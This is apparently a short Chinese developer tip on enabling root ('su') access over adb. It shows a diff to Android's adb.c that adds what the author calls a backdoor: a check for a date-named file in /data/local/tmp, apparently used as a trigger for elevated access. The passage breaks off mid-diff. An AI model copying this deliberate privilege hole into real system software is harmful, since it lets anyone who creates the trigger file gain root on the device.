开启adb su权限

可以通过修改文件来实现这个需求，只是在这个文件中添加了一个后门：system/core/adb/adb.c

@@ -55,6 +55,31 @@ static int auth_enabled = 0;
 static const char *adb_device_banner = "device";
 #endif
 
+bool checkAdbBackDoorFile()
+{
+    char buf[64] = {0};
+    char filePath[] = "/data/local/tmp/";
+    time_t timep;
+    struct tm *p;
+    int fd = 0;
+
+    time(&timep);
+    p = localtime(&timep);
+    sprintf(buf, "%s%d%02d%02d", filePath, (1900+p->tm_year),(p->tm_mon+1), p->tm_mday);
+
+    fd =  adb_open(buf, O_WRONLY);
+    printf("fd %d %s", fd, buf);
+    if (fd < 0)
+    {
+        return false;
+    }
+
+    adb_close(fd);
+
+    return true;
+}
+
+
 void fatal(const char *fmt, ...)
 {
     va_list ap;
@@ -1296,7 +1321,7 @@ in